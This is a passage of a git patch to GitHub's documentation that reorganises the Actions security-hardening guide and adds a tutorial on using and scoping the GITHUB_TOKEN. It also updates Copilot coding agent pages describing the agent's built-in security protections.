organization](/github/setting-up-and-managing-organizations-and-teams/disabling-or-limiting-github-actions-for-your-organization#preventing-github-actions-from-creating-or-approving-pull-requests), and [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#preventing-github-actions-from-creating-or-approving-pull-requests). -## Considering cross-repository access +{% ifversion code-scanning-actions-language %} -{% data variables.product.prodname_actions %} is intentionally scoped for a single repository at a time. The `GITHUB_TOKEN` grants the same level of access as a write-access user, because any write-access user can access this token by creating or modifying a workflow file, elevating the permissions of the `GITHUB_TOKEN` if necessary. Users have specific permissions for each repository, so allowing the `GITHUB_TOKEN` for one repository to grant access to another would impact the {% data variables.product.prodname_dotcom %} permission model if not implemented carefully. Similarly, caution must be taken when adding {% data variables.product.prodname_dotcom %} authentication tokens to a workflow, because this can also affect the {% data variables.product.prodname_dotcom %} permission model by inadvertently granting broad access to collaborators. +### Using {% data variables.product.prodname_code_scanning %} to secure workflows -If your organization is owned by an enterprise account, then you can share and reuse {% data variables.product.prodname_actions %} by storing them in internal repositories. For more information, see [AUTOTITLE](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise). +{% data variables.product.prodname_code_scanning_caps %} can automatically detect and suggest improvements for common vulnerable patterns used in {% data variables.product.prodname_actions %} workflows. +For more information on how to enable {% data variables.product.prodname_code_scanning %}, see [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning). -You can perform other privileged, cross-repository interactions by referencing a {% data variables.product.prodname_dotcom %} authentication token or SSH key as a secret within the workflow. Because many authentication token types do not allow for granular access to specific resources, there is significant risk in using the wrong token type, as it can grant much broader access than intended. +{% endif %} -This list describes the recommended approaches for accessing repository data within a workflow, in descending order of preference: +### Using OpenSSF Scorecards to secure workflow dependencies -1. **The `GITHUB_TOKEN`** - * This token is intentionally scoped to the single repository that invoked the workflow, and can have the same level of access as a write-access user on the repository. The token is created before each job begins and expires when the job is finished. For more information, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication). - * The `GITHUB_TOKEN` should be used whenever possible. -1. **Repository deploy key** - * Deploy keys are one of the only credential types that grant read or write access to a single repository, and can be used to interact with another repository within a workflow. For more information, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/managing-deploy-keys#deploy-keys). - * Note that deploy keys can only clone and push to the repository using Git, and cannot be used to interact with the REST or GraphQL API, so they may not be appropriate for your requirements. -1. **{% data variables.product.prodname_github_app %} tokens** - * {% data variables.product.prodname_github_apps %} can be installed on select repositories, and even have granular permissions on the resources within them. You could create a {% data variables.product.prodname_github_app %} internal to your organization, install it on the repositories you need access to within your workflow, and authenticate as the installation within your workflow to access those repositories. For more information, see [AUTOTITLE](/apps/creating-github-apps/guides/making-authenticated-api-requests-with-a-github-app-in-a-github-actions-workflow). -1. **{% data variables.product.pat_generic %}s** - * You should never use a {% data variables.product.pat_v1 %}. These tokens grant access to all repositories within the organizations that you have access to, as well as all personal repositories in your personal account. This indirectly grants broad access to all write-access users of the repository the workflow is in. - * If you do use a {% data variables.product.pat_generic %}, you should never use a {% data variables.product.pat_generic %} from your own account. If you later leave an organization, workflows using this token will immediately break, and debugging this issue can be challenging. Instead, you should use a {% data variables.product.pat_v2 %} for a new account that belongs to your organization and that is only granted access to the specific repositories that are needed for the workflow. Note that this approach is not scalable and should be avoided in favor of alternatives, such as deploy keys. -1. **SSH keys on a personal account** - * Workflows should never use the SSH keys on a personal account. Similar to {% data variables.product.pat_v1_plural %}, they grant read/write permissions to all of your personal repositories as well as all the repositories you have access to through organization membership. This indirectly grants broad access to all write-access users of the repository the workflow is in. If you're intending to use an SSH key because you only need to perform repository clones or pushes, and do not need to interact with public APIs, then you should use individual deploy keys instead. +[Scorecards](https://github.com/ossf/scorecard) is an automated security tool that flags risky supply chain practices. You can use the [Scorecards action](https://github.com/marketplace/actions/ossf-scorecard-action) and [workflow template](https://github.com/actions/starter-workflows) to follow best security practices. Once configured, the Scorecards action runs automatically on repository changes, and alerts developers about risky supply chain practices using the built-in {% data variables.product.prodname_code_scanning %} experience. The Scorecards project runs a number of checks, including script injection attacks, token permissions, and pinned actions. -## Hardening for {% data variables.product.prodname_dotcom %}-hosted runners +### Hardening for {% data variables.product.prodname_dotcom %}-hosted runners {% data reusables.actions.enterprise-github-hosted-runners %} @@ -314,7 +199,7 @@ This list describes the recommended approaches for accessing repository data wit {% ifversion actions-sbom %} -### Reviewing the supply chain for {% data variables.product.prodname_dotcom %}-hosted runners +#### Reviewing the supply chain for {% data variables.product.prodname_dotcom %}-hosted runners For {% data variables.product.prodname_dotcom %}-hosted runners created from images maintained by {% data variables.product.company_short %}, you can view a software bill of materials (SBOM) to see what software was pre-installed on the runner. You can provide your users with the SBOM which they can run through a vulnerability scanner to validate if there are any vulnerabilities in the product. If you are building artifacts, you can include this SBOM in your bill of materials for a comprehensive list of everything that went into creating your software. @@ -324,13 +209,13 @@ For third-party images, such as the images for ARM-powered runners, you can find {% endif %} -### Denying access to hosts +#### Denying access to hosts {% data reusables.actions.runners-etc-hosts-file %} For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners). {% endif %} -## Hardening for self-hosted runners +### Hardening for self-hosted runners {% ifversion fpt or ghec %} **{% data variables.product.prodname_dotcom %}-hosted** runners execute code within ephemeral and clean isolated virtual machines, meaning there is no way to persistently compromise this environment, or otherwise gain access to more information than was placed in this environment during the bootstrap process. @@ -351,7 +236,7 @@ You should also consider the environment of the self-hosted runner machines: Some customers might attempt to partially mitigate these risks by implementing systems that automatically destroy the self-hosted runner after each job execution. However, this approach might not be as effective as intended, as there is no way to guarantee that a self-hosted runner only runs one job. Some jobs will use secrets as command-line arguments which can be seen by another job running on the same runner, such as `ps x -w`. This can lead to secret leaks. -### Using just-in-time runners +#### Using just-in-time runners To improve runner registration security, you can use the REST API to create ephemeral, just-in-time (JIT) runners. These self-hosted runners perform at most one job before being automatically removed from the repository, organization, or enterprise. For more information about configuring JIT runners, see [AUTOTITLE](/rest/actions/self-hosted-runners#create-configuration-for-a-just-in-time-runner-for-an-organization). @@ -364,7 +249,7 @@ Once you have the config file from the REST API response, you can pass it to the ./run.sh --jitconfig ${encoded_jit_config} ``` -### Planning your management strategy for self-hosted runners +#### Planning your management strategy for self-hosted runners A self-hosted runner can be added to various levels in your {% data variables.product.prodname_dotcom %} hierarchy: the enterprise, organization, or repository level. This placement determines who will be able to manage the runner: @@ -378,11 +263,11 @@ A self-hosted runner can be added to various levels in your {% data variables.pr * If each team will manage their own self-hosted runners, then the recommendation is to add the runners at the highest level of team ownership. For example, if each team owns their own organization, then it will be simplest if the runners are added at the organization level too. * You could also add runners at the repository level, but this will add management overhead and also increases the numbers of runners you need, since you cannot share runners between repositories. -### Authenticating to your cloud provider +#### Authenticating to your cloud provider If you are using {% data variables.product.prodname_actions %} to deploy to a cloud provider, or intend to use HashiCorp Vault for secret management, then it's recommended that you consider using OpenID Connect to create short-lived, well-scoped access tokens for your workflow runs. For more information, see [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect). -## Auditing {% data variables.product.prodname_actions %} events +### Auditing {% data variables.product.prodname_actions %} events You can use the security log to monitor activity for your user account and the audit log to monitor activity in your organization{% ifversion ghec or ghes %} or enterprise{% endif %}. The security and audit log records the type of action, when it was run, and which personal account performed the action. @@ -397,3 +282,76 @@ For the full list of events that you can find in the audit log for each account {%- ifversion ghec or ghes %} * [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise) {%- endif %} + +### Understanding dependencies in your workflows + +You can use the dependency graph to explore the actions that the workflows in your repository use. The dependency graph is a summary of the manifest and lock files stored in a repository. It also recognizes files in `./github/workflows/` as manifests, which means that any actions or workflows referenced using the syntax `jobs[*].steps[*].uses` or `jobs..uses` will be parsed as dependencies. + +The dependency graph shows the following information about actions used in workflows: + +* The account or organization that owns the action. +* The workflow file that references the action. +* The version or SHA the action is pinned to. + +In the dependency graph, dependencies are automatically sorted by vulnerability severity. If any of the actions you use have security advisories, they will display at the top of the list. You can navigate to the advisory from the dependency graph and access instructions for resolving the vulnerability. + +{% ifversion fpt or ghec %}The dependency graph is enabled for public repositories, and you can choose to enable it on private repositories. For more information about using the dependency graph, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository).{% else %}Enterprise owners can configure the dependency graph and {% data variables.product.prodname_dependabot_alerts %} for an enterprise. For more information, see [AUTOTITLE](/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise).{% endif %} + +### Being aware of security vulnerabilities in actions you use + +For actions available on the marketplace, {% data variables.product.prodname_dotcom %} reviews related security advisories and then adds those advisories to the {% data variables.product.prodname_advisory_database %}. You can search the database for actions that you use to find information about existing vulnerabilities and instructions for how to fix them. To streamline your search, use the {% data variables.product.prodname_actions %} filter in the [{% data variables.product.prodname_advisory_database %}](https://github.com/advisories?query=type%3Areviewed+ecosystem%3Aactions). + +You can set up your repositories so that you: + +* Receive alerts when actions used in your workflows receive a vulnerability report. For more information, see [Monitoring the actions in your workflows](#monitoring-the-actions-in-your-workflows). +* Are warned about existing advisories when you add or update an action in a workflow. For more information, see [Screening actions for vulnerabilities in new or updated workflows](#screening-actions-for-vulnerabilities-in-new-or-updated-workflows). + +#### Monitoring the actions in your workflows + +You can use {% data variables.product.prodname_dependabot %} to monitor the actions in your workflows and enable {% data variables.product.prodname_dependabot_alerts %} to notify you when an action you use has a reported vulnerability. {% data variables.product.prodname_dependabot %} performs a scan of the default branch of the repositories where it is enabled to detect insecure dependencies. {% data variables.product.prodname_dependabot %} generates {% data variables.product.prodname_dependabot_alerts %} when a new advisory is added to the {% data variables.product.prodname_advisory_database %} or when an action you use is updated. + +> [!NOTE] +> {% data variables.product.prodname_dependabot %} only creates alerts for vulnerable actions that use semantic versioning and will not create alerts for actions pinned to SHA values. + +{% ifversion fpt or ghec %}You can enable {% data variables.product.prodname_dependabot_alerts %} for your personal account, for a repository, or for an organization. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/configuring-dependabot-alerts).{% else %}An enterprise owner must first set up {% data variables.product.prodname_dependabot %} for your enterprise before you can manage {% data variables.product.prodname_dependabot_alerts %} for your repository. For more information, see [AUTOTITLE](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise).{% endif %} + +{% data reusables.dependabot.where-to-view-dependabot-alerts %} For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts). + +#### Screening actions for vulnerabilities in new or updated workflows + +When you open pull requests to update your workflows, it is good practice to use dependency review to understand the security impact of changes you've made to the actions you use. {% data reusables.dependency-review.feature-overview %} + +If any of the changes you made to your workflows are flagged as vulnerable, you can avoid adding them to your project or update them to a secure version. + +For more information about dependency review, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review). + +{% data reusables.dependency-review.about-dependency-review-action %} For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review#about-the-dependency-review-action). + +### Keeping the actions in your workflows secure and up to date + +{% data reusables.actions.dependabot-version-updates-for-actions %} + +The following features can automatically update the actions in your workflows. + +* **{% data variables.product.prodname_dependabot_version_updates %}** open pull requests to update actions to the latest version when a new version is released. +* **{% data variables.product.prodname_dependabot_security_updates %}** open pull requests to update actions with reported vulnerabilities to the minimum patched version. + +> [!NOTE] +> {% data reusables.actions.dependabot-version-updates-actions-caveats %} + +For information on how to configure {% data variables.product.prodname_dependabot_version_updates %}, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates). + +For information on how to configure {% data variables.product.prodname_dependabot_security_updates %}, see [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates). + +{% ifversion fpt or ghec %} + +### Protecting actions you've created + +{% data variables.product.prodname_dotcom %} enables collaboration between people who publish and maintain actions and vulnerability reporters in order to promote secure coding. {% data reusables.security-advisory.security-advisory-overview %} + +If you are someone who maintains an action that is used in other projects, you can use the following {% data variables.product.prodname_dotcom %} features to enhance the security of the actions you've published. + +* Use the dependants view in the Dependency graph to see which projects depend on your code. If you receive a vulnerability report, this will give you an idea of who you need to communicate with about the vulnerability and how to fix it. For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository#dependents-view). +* Use repository security advisories to create a security advisory, privately collaborate to fix the vulnerability in a temporary private fork, and publish a security advisory to alert your community of the vulnerability once a patch is released. For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/configuring-private-vulnerability-reporting-for-a-repository) and [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/creating-a-repository-security-advisory). + +{% endif %} diff --git a/content/actions/reference/workflow-syntax-for-github-actions.md b/content/actions/reference/workflow-syntax-for-github-actions.md index d860049c2e8b..6e81f2844c03 100644 --- a/content/actions/reference/workflow-syntax-for-github-actions.md +++ b/content/actions/reference/workflow-syntax-for-github-actions.md @@ -9,6 +9,7 @@ redirect_from: - /actions/learn-github-actions/workflow-syntax-for-github-actions - /actions/using-workflows/workflow-syntax-for-github-actions - /actions/writing-workflows/workflow-syntax-for-github-actions + - /actions/reference/github_token-reference versions: fpt: '*' ghes: '*' @@ -268,6 +269,10 @@ The value of this parameter is a string specifying the data type of the input. T {% data reusables.actions.forked-write-permission %} +## How permissions are calculated for a workflow job + +The permissions for the `GITHUB_TOKEN` are initially set to the default setting for the enterprise, organization, or repository. If the default is set to the restricted permissions at any of these levels then this will apply to the relevant repositories. For example, if you choose the restricted default at the organization level then all repositories in that organization will use the restricted permissions as the default. The permissions are then adjusted based on any configuration within the workflow file, first at the workflow level and then at the job level. Finally, if the workflow was triggered by a pull request from a forked repository, and the **Send write tokens to workflows from pull requests** setting is not selected, the permissions are adjusted to change any write permissions to read only. + ### Setting the `GITHUB_TOKEN` permissions for all jobs in a workflow You can specify `permissions` at the top level of a workflow, so that the setting applies to all jobs in the workflow. @@ -276,6 +281,14 @@ You can specify `permissions` at the top level of a workflow, so that the settin {% data reusables.actions.jobs.setting-permissions-all-jobs-example %} +### Using the `permissions` key for forked repositories + +You can use the `permissions` key to add and remove `read` permissions for forked repositories, but typically you can't grant `write` access. The exception to this behavior is where an admin user has selected the **Send write tokens to workflows from pull requests** option in the {% data variables.product.prodname_actions %} settings. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#enabling-workflows-for-private-repository-forks). + +### Permissions for workflow runs triggered by {% data variables.product.prodname_dependabot %} + +{% data reusables.actions.workflow-runs-dependabot-note %} + ## `env` A `map` of variables that are available to the steps of all jobs in the workflow. You can also set variables that are only available to the steps of a single job or to a single step. For more information, see [`jobs..env`](#jobsjob_idenv) and [`jobs..steps[*].env`](#jobsjob_idstepsenv). diff --git a/content/actions/tutorials/creating-an-example-workflow.md b/content/actions/tutorials/creating-an-example-workflow.md index 14d6efbf6ddf..fa80b4726cd3 100644 --- a/content/actions/tutorials/creating-an-example-workflow.md +++ b/content/actions/tutorials/creating-an-example-workflow.md @@ -21,4 +21,6 @@ This guide shows you how to create a basic workflow that is triggered when code {% data reusables.actions.workflow-templates-for-more-information %} +> [!IMPORTANT] For more information about best practices for securing your workflows and secure use of {% data variables.product.prodname_actions %} features, see [AUTOTITLE](/actions/reference/secure-use-reference#writing-workflows). + {% data reusables.actions.workflow-basic-example-and-explanation %} diff --git a/content/actions/tutorials/index.md b/content/actions/tutorials/index.md index 115b94039bca..8bf6aac7e840 100644 --- a/content/actions/tutorials/index.md +++ b/content/actions/tutorials/index.md @@ -11,6 +11,7 @@ children: - /actions-runner-controller - /creating-an-example-workflow - /creating-a-docker-container-action + - /use-github_token-in-workflows - /creating-a-javascript-action - /creating-a-composite-action - /store-and-share-data @@ -19,3 +20,4 @@ children: redirect_from: - /actions/guides --- + diff --git a/content/actions/tutorials/use-github_token-in-workflows.md b/content/actions/tutorials/use-github_token-in-workflows.md new file mode 100644 index 000000000000..052890d5d6bd --- /dev/null +++ b/content/actions/tutorials/use-github_token-in-workflows.md @@ -0,0 +1,81 @@ +--- +title: Use GITHUB_TOKEN in workflows +intro: 'Learn how to use the `GITHUB_TOKEN` to authenticate on behalf of {% data variables.product.prodname_actions %}.' +redirect_from: + - /github/automating-your-workflow-with-github-actions/authenticating-with-the-github_token + - /actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token + - /actions/configuring-and-managing-workflows/authenticating-with-the-github_token + - /actions/reference/authentication-in-a-workflow + - /actions/security-guides/automatic-token-authentication + - /actions/security-for-github-actions/security-guides/automatic-token-authentication + - /actions/how-tos/security-for-github-actions/security-guides/automatic-token-authentication + - /actions/how-tos/security-for-github-actions/security-guides/use-github_token-in-workflows + - /actions/using-jobs/assigning-permissions-to-jobs + - /actions/writing-workflows/choosing-what-your-workflow-does/assigning-permissions-to-jobs + - /actions/writing-workflows/choosing-what-your-workflow-does/controlling-permissions-for-github-token + - /actions/writing-workflows/choosing-what-your-workflow-does/controlling-permissions-for-github_token + - /actions/how-tos/writing-workflows/choosing-what-your-workflow-does/controlling-permissions-for-github_token +versions: + fpt: '*' + ghes: '*' + ghec: '*' +shortTitle: Use GITHUB_TOKEN +--- + +This tutorial leads you through how to use the `GITHUB_TOKEN` for authentication in {% data variables.product.prodname_actions %} workflows, including examples for passing the token to actions, making API requests, and configuring permissions for secure automation. + +For reference information, see [AUTOTITLE](/actions/reference/workflow-syntax-for-github-actions#permissions). + +## Using the `GITHUB_TOKEN` in a workflow + +You can use the `GITHUB_TOKEN` by using the standard syntax for referencing secrets: {% raw %}`${{ secrets.GITHUB_TOKEN }}`{% endraw %}. Examples of using the `GITHUB_TOKEN` include passing the token as an input to an action, or using it to make an authenticated {% data variables.product.github %} API request. + +> [!IMPORTANT] +> An action can access the `GITHUB_TOKEN` through the `github.token` context even if the workflow does not explicitly pass the `GITHUB_TOKEN` to the action. As a good security practice, you should always make sure that actions only have the minimum access they require by limiting the permissions granted to the `GITHUB_TOKEN`. For more information, see [AUTOTITLE](/actions/reference/workflow-syntax-for-github-actions#permissions). + +### Example 1: passing the `GITHUB_TOKEN` as an input + +{% data reusables.actions.github_token-input-example %} + +### Example 2: calling the REST API + +You can use the `GITHUB_TOKEN` to make authenticated API calls. This example workflow creates an issue using the {% data variables.product.prodname_dotcom %} REST API: + +```yaml +name: Create issue on commit + +on: [ push ] + +jobs: + create_issue: + runs-on: ubuntu-latest + permissions: + issues: write + steps: + - name: Create issue using REST API + run: | + curl --request POST \ + --url {% data variables.product.rest_url %}/repos/${% raw %}{{ github.repository }}{% endraw %}/issues \ + --header 'authorization: Bearer ${% raw %}{{ secrets.GITHUB_TOKEN }}{% endraw %}' \ + --header 'content-type: application/json' \ + --data '{ + "title": "Automated issue for commit: ${% raw %}{{ github.sha }}{% endraw %}", + "body": "This issue was automatically created by the GitHub Action workflow **${% raw %}{{ github.workflow }}{% endraw %}**. \n\n The commit hash was: _${% raw %}{{ github.sha }}{% endraw %}_." + }' \ + --fail +``` + +## Modifying the permissions for the `GITHUB_TOKEN` + +Use the `permissions` key in your workflow file to modify permissions for the `GITHUB_TOKEN` for an entire workflow or for individual jobs. This allows you to configure the minimum required permissions for a workflow or job. As a good security practice, you should grant the `GITHUB_TOKEN` the least required access. + +The two workflow examples earlier in this article show the `permissions` key being used at the job level. + +## Granting additional permissions + +If you need a token that requires permissions that aren't available in the `GITHUB_TOKEN`, create a {% data variables.product.prodname_github_app %} and generate an installation access token within your workflow. For more information, see [AUTOTITLE](/apps/creating-github-apps/guides/making-authenticated-api-requests-with-a-github-app-in-a-github-actions-workflow). Alternatively, you can create a {% data variables.product.pat_generic %}, store it as a secret in your repository, and use the token in your workflow with the {% raw %}`${{ secrets.SECRET_NAME }}`{% endraw %} syntax. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token) and [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions). + +## Next steps + +* [AUTOTITLE](/actions/concepts/security/github_token) +* [AUTOTITLE](/actions/reference/workflow-syntax-for-github-actions#permissions) diff --git a/data/learning-tracks/admin.yml b/data/learning-tracks/admin.yml index 2f05eabf7188..0e1673700d55 100644 --- a/data/learning-tracks/admin.yml +++ b/data/learning-tracks/admin.yml @@ -52,7 +52,7 @@ adopting_github_actions_for_your_enterprise_ghec: - >- /admin/managing-github-actions-for-your-enterprise/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud - >- - /actions/how-tos/security-for-github-actions/security-guides/security-hardening-for-github-actions + /actions/reference/secure-use-reference - >- /billing/managing-billing-for-your-products/about-billing-for-github-actions adopting_github_actions_for_your_enterprise_ghes: @@ -77,7 +77,7 @@ adopting_github_actions_for_your_enterprise_ghes: - >- /admin/managing-github-actions-for-your-enterprise/getting-started-with-github-actions-for-your-enterprise/getting-started-with-self-hosted-runners-for-your-enterprise - >- - /actions/how-tos/security-for-github-actions/security-guides/security-hardening-for-github-actions + /actions/reference/secure-use-reference - >- /billing/managing-billing-for-your-products/about-billing-for-github-actions increase_fault_tolerance: diff --git a/data/reusables/actions/jobs/section-assigning-permissions-to-jobs.md b/data/reusables/actions/jobs/section-assigning-permissions-to-jobs.md index d3b06fd0b72c..d3d6988c9cb2 100644 --- a/data/reusables/actions/jobs/section-assigning-permissions-to-jobs.md +++ b/data/reusables/actions/jobs/section-assigning-permissions-to-jobs.md @@ -2,4 +2,8 @@ You can use `permissions` to modify the default permissions granted to the `GITH You can use `permissions` either as a top-level key, to apply to all jobs in the workflow, or within specific jobs. When you add the `permissions` key within a specific job, all actions and run commands within that job that use the `GITHUB_TOKEN` gain the access rights you specify. For more information, see [`jobs..permissions`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idpermissions). +Owners of an organization{% ifversion not fpt %} or enterprise{% endif %} can restrict write access for the `GITHUB_TOKEN` at the repository level. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#setting-the-permissions-of-the-github_token-for-your-organization){% ifversion not fpt %} and [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-workflow-permissions-in-your-enterprise).{% else %}.{% endif %} + +When a workflow is triggered by the [`pull_request_target`](/actions/using-workflows/events-that-trigger-workflows#pull_request_target) event, the `GITHUB_TOKEN` is granted read/write repository permission, even when it is triggered from a public fork. For more information, see [AUTOTITLE](/actions/using-workflows/events-that-trigger-workflows#pull_request_target). + {% data reusables.actions.github-token-scope-descriptions %} From 229350f66acee98d24b2151fa8a854e0c41484ce Mon Sep 17 00:00:00 2001 From: Hirsch Singhal <1666363+hpsin@users.noreply.github.com> Date: Wed, 16 Jul 2025 06:50:39 -0700 Subject: [PATCH 2/3] Remove PKCE note from oauth apps page (#56659) --- .../oauth-apps/building-oauth-apps/authorizing-oauth-apps.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/content/apps/oauth-apps/building-oauth-apps/authorizing-oauth-apps.md b/content/apps/oauth-apps/building-oauth-apps/authorizing-oauth-apps.md index 3cf667a2eec2..c4641949336e 100644 --- a/content/apps/oauth-apps/building-oauth-apps/authorizing-oauth-apps.md +++ b/content/apps/oauth-apps/building-oauth-apps/authorizing-oauth-apps.md @@ -71,7 +71,7 @@ This endpoint takes the following input parameters. | `allow_signup`|`string` | Optional | Whether or not unauthenticated users will be offered an option to sign up for GitHub during the OAuth flow. The default is `true`. Use `false` when a policy prohibits signups. | | `prompt` | `string` | Optional | Forces the account picker to appear if set to `select_account`. The account picker will also appear if the application has a non-HTTP redirect URI or if the user has multiple accounts signed in. | -{% ifversion not pkce_support %}The PKCE (Proof Key for Code Exchange) parameters `code_challenge` and `code_challenge_method` are not supported at this time. {% endif %}CORS pre-flight requests (OPTIONS) are not supported at this time. +{% ifversion pkce_support %}{% else %}The PKCE (Proof Key for Code Exchange) parameters `code_challenge` and `code_challenge_method` are not supported at this time. {% endif %}CORS pre-flight requests (OPTIONS) are not supported at this time. ### 2. Users are redirected back to your site by GitHub From ba76300dd6d580dab36e0f355148b86b922c60a9 Mon Sep 17 00:00:00 2001 From: Isaac Brown <101839405+isaacmbrown@users.noreply.github.com> Date: Wed, 16 Jul 2025 15:00:19 +0100 Subject: [PATCH 3/3] [EDI] Rewrite "Using Copilot coding agent effectively in your organization" as a tutorial (#56645) --- .../concepts/about-copilot-coding-agent.md | 24 +++++ content/copilot/tutorials/index.md | 1 + ...n-org.md => pilot-copilot-coding-agent.md} | 94 ++++++++----------- .../enabling-developers/index.md | 1 - 4 files changed, 63 insertions(+), 57 deletions(-) rename content/copilot/tutorials/{rolling-out-github-copilot-at-scale/enabling-developers/using-copilot-coding-agent-in-org.md => pilot-copilot-coding-agent.md} (54%) diff --git a/content/copilot/concepts/about-copilot-coding-agent.md b/content/copilot/concepts/about-copilot-coding-agent.md index 83d697e91ef4..7f6dc0a23e0a 100644 --- a/content/copilot/concepts/about-copilot-coding-agent.md +++ b/content/copilot/concepts/about-copilot-coding-agent.md @@ -39,6 +39,14 @@ To delegate tasks to {% data variables.product.prodname_copilot_short %}, you ca While working on a coding task, {% data variables.product.prodname_copilot_short %} has access to its own ephemeral development environment, powered by {% data variables.product.prodname_actions %}, where it can explore your code, make changes, execute automated tests and linters and more. +### Benefits over traditional AI workflows + +When used effectively, {% data variables.copilot.copilot_coding_agent %} offers productivity benefits over traditional AI assistants in IDEs: + +* With **AI assistants in IDEs**, coding happens **locally**. Individual developers pair in **synchronous** sessions with the AI assistant. Decisions made during the session are **untracked** and lost to time unless committed. Although the assistant helps write code, the developer still has a lot of **manual steps** to do: create the branch, write commit messages, push the changes, open the PR, write the PR description, get a review, iterate in the IDE, and repeat. These steps take time and effort that may be hard to justify for simple or routine issues. + +* With **{% data variables.copilot.copilot_coding_agent %}**, all coding and iterating happens **on {% data variables.product.github %}** as part of the pull request workflow. {% data variables.product.prodname_copilot_short %} **automates** branch creation, commit message writing and pushing, PR opening, and PR description writing. Developers let the agent **work in the background** and then steer {% data variables.product.prodname_copilot_short %} to a final solution using PR reviews. Working on {% data variables.product.github %} adds **transparency**, where every step happens in a commit and is viewable in logs. Working on {% data variables.product.github %} also opens up **collaboration** opportunities for the entire team. + ### {% data variables.copilot.copilot_coding_agent %} versus agent mode {% data variables.copilot.copilot_coding_agent %} is distinct from the "agent mode" feature available in {% data variables.product.prodname_vs %} and {% data variables.product.prodname_vscode %}. {% data variables.copilot.copilot_coding_agent %} works autonomously in a {% data variables.product.prodname_actions %}-powered environment to complete development tasks assigned through {% data variables.product.github %} issues or {% data variables.copilot.copilot_chat %} prompts, and creates pull requests with the results. In contrast, agent mode in {% data variables.product.prodname_vs %} and {% data variables.product.prodname_vscode %} is part of the {% data variables.copilot.copilot_edits %} feature that allows {% data variables.product.prodname_copilot_short %} to make autonomous edits directly in your local development environment. For more information about agent mode, see [AUTOTITLE](/copilot/using-github-copilot/copilot-chat/asking-github-copilot-questions-in-your-ide?tool=visualstudio#copilot-edits-1). @@ -65,6 +73,22 @@ Within your monthly usage allowance for {% data variables.product.prodname_actio For more information, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-copilot/about-billing-for-github-copilot#allowance-usage-for-copilot-coding-agent). +## Built-in security protections + +Security is a fundamental consideration when you enable {% data variables.copilot.copilot_coding_agent %}, as with any other AI agent. {% data variables.product.prodname_copilot_short %} has a strong base of built-in security protections that you can supplement by following best practice guidance. + +* **Subject to existing governance**: Organization settings and enterprise policies control availability. Any security policies and practices set up for the organization also apply to {% data variables.copilot.copilot_coding_agent %}. +* **Restricted development environment**: {% data variables.product.prodname_copilot_short %} works in a sandbox development environment with internet access controlled by a firewall. It has read-only access to the repository it's assigned to work in. +* **Limited access to branches**: {% data variables.product.prodname_copilot_short %} can only create and push to branches beginning with `copilot/`. It is subject to any branch protections and required checks for the working repository. +* **Responds only to users with write permissions**: {% data variables.product.prodname_copilot_short %} will not respond to feedback from users with lower levels of access. +* **Treated as an outside collaborator**: Draft pull requests proposed by {% data variables.product.prodname_copilot_short %} require approval by a user with write permissions before Actions workflows can run. {% data variables.product.prodname_copilot_short %} cannot mark its pull requests as "Ready for review" and cannot approve or merge a pull request. +* **Tracked for compliance**: {% data variables.product.prodname_copilot_short %}'s commits are co-authored by the developer who assigned the issue or requested the change to the pull request, allowing attribution of proposed changes. The developer who asked {% data variables.product.prodname_copilot_short %} to create a pull request cannot approve that pull request. In repositories where an approving review is required, this ensures that at least one independent developer reviews {% data variables.product.prodname_copilot_short %}'s work. + +For more information, see: +* [AUTOTITLE](/copilot/tutorials/pilot-copilot-coding-agent#2-secure) (information on how organization owners can further enhance security) +* [AUTOTITLE](/copilot/responsible-use-of-github-copilot-features/responsible-use-of-copilot-coding-agent-on-githubcom) +* [{% data variables.product.prodname_copilot %} Trust Center](https://copilot.github.trust.page/) + ## Risks and mitigations {% data variables.copilot.copilot_coding_agent %} is an autonomous agent that has access to your code and can push changes to your repository. This entails certain risks. Where possible, {% data variables.product.github %} has applied appropriate mitigations. diff --git a/content/copilot/tutorials/index.md b/content/copilot/tutorials/index.md index 645d758100ef..5ca99897b3f7 100644 --- a/content/copilot/tutorials/index.md +++ b/content/copilot/tutorials/index.md @@ -20,6 +20,7 @@ children: - /modernizing-legacy-code-with-github-copilot - /using-copilot-to-migrate-a-project - /upgrading-projects-with-github-copilot + - /pilot-copilot-coding-agent - 